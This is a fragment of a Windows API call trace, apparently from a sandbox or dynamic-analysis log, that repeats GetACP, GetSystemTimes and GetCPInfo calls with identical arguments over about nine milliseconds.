GetACP () returned 0x4e4 [0054.750] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.750] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.750] GetACP () returned 0x4e4 [0054.750] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.750] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.750] GetACP () returned 0x4e4 [0054.750] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.750] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.750] GetACP () returned 0x4e4 [0054.751] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.751] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.751] GetACP () returned 0x4e4 [0054.751] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.751] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.751] GetACP () returned 0x4e4 [0054.751] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.751] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.751] GetACP () returned 0x4e4 [0054.751] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.751] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.751] GetACP () returned 0x4e4 [0054.751] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.751] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.751] GetACP () returned 0x4e4 [0054.751] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.751] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.751] GetACP () returned 0x4e4 [0054.751] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.751] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.751] GetACP () returned 0x4e4 [0054.751] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.752] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.752] GetACP () returned 0x4e4 [0054.752] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.752] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.752] GetACP () returned 0x4e4 [0054.752] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.752] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.752] GetACP () returned 0x4e4 [0054.752] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.752] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.752] GetACP () returned 0x4e4 [0054.752] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.752] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.752] GetACP () returned 0x4e4 [0054.752] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.752] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.752] GetACP () returned 0x4e4 [0054.752] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.752] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.752] GetACP () returned 0x4e4 [0054.752] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.752] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.752] GetACP () returned 0x4e4 [0054.752] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.752] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.752] GetACP () returned 0x4e4 [0054.752] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.753] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.753] GetACP () returned 0x4e4 [0054.753] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.753] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.753] GetACP () returned 0x4e4 [0054.753] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.753] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.753] GetACP () returned 0x4e4 [0054.753] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.753] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.753] GetACP () returned 0x4e4 [0054.753] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.753] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.753] GetACP () returned 0x4e4 [0054.753] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.753] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.753] GetACP () returned 0x4e4 [0054.753] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.753] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.753] GetACP () returned 0x4e4 [0054.753] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.753] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.753] GetACP () returned 0x4e4 [0054.753] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.753] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.753] GetACP () returned 0x4e4 [0054.753] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.754] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.754] GetACP () returned 0x4e4 [0054.754] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.754] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.754] GetACP () returned 0x4e4 [0054.754] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.754] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.754] GetACP () returned 0x4e4 [0054.754] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.754] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.754] GetACP () returned 0x4e4 [0054.754] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.754] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.754] GetACP () returned 0x4e4 [0054.754] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.754] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.754] GetACP () returned 0x4e4 [0054.754] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.754] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.754] GetACP () returned 0x4e4 [0054.754] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.754] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.754] GetACP () returned 0x4e4 [0054.754] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.754] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.754] GetACP () returned 0x4e4 [0054.755] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.755] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.755] GetACP () returned 0x4e4 [0054.755] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.755] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.755] GetACP () returned 0x4e4 [0054.755] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.755] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.755] GetACP () returned 0x4e4 [0054.755] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.755] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.755] GetACP () returned 0x4e4 [0054.755] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.755] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.755] GetACP () returned 0x4e4 [0054.755] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.755] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.755] GetACP () returned 0x4e4 [0054.755] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.755] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.755] GetACP () returned 0x4e4 [0054.755] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.755] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.755] GetACP () returned 0x4e4 [0054.755] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.756] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.756] GetACP () returned 0x4e4 [0054.756] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.756] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.756] GetACP () returned 0x4e4 [0054.756] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.756] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.756] GetACP () returned 0x4e4 [0054.756] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.756] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.756] GetACP () returned 0x4e4 [0054.756] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.756] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.756] GetACP () returned 0x4e4 [0054.756] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.756] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.756] GetACP () returned 0x4e4 [0054.756] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.756] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.756] GetACP () returned 0x4e4 [0054.756] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.756] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.756] GetACP () returned 0x4e4 [0054.756] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.756] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.756] GetACP () returned 0x4e4 [0054.756] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.757] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.757] GetACP () returned 0x4e4 [0054.757] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.757] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.757] GetACP () returned 0x4e4 [0054.757] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.757] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.757] GetACP () returned 0x4e4 [0054.757] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.757] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.757] GetACP () returned 0x4e4 [0054.757] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.757] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.757] GetACP () returned 0x4e4 [0054.757] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.757] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.757] GetACP () returned 0x4e4 [0054.757] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.757] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.757] GetACP () returned 0x4e4 [0054.757] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.757] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.757] GetACP () returned 0x4e4 [0054.757] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.757] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.758] GetACP () returned 0x4e4 [0054.758] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.758] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.758] GetACP () returned 0x4e4 [0054.758] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.758] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.758] GetACP () returned 0x4e4 [0054.758] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.758] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.758] GetACP () returned 0x4e4 [0054.758] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.758] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.758] GetACP () returned 0x4e4 [0054.758] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.758] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.758] GetACP () returned 0x4e4 [0054.758] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.758] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.758] GetACP () returned 0x4e4 [0054.758] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.758] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.758] GetACP () returned 0x4e4 [0054.758] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.758] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.758] GetACP () returned 0x4e4 [0054.758] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.759] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.759] GetACP () returned 0x4e4 [0054.759] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.759] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.759] GetACP () returned 0x4e4 [0054.759] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.759] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.759] GetACP () returned 0x4e4 [0054.759] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.759] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.759] GetACP () returned 0x4e4 [0054.759] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.759] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.759] GetACP () returned 0x4e4 [0054.759] 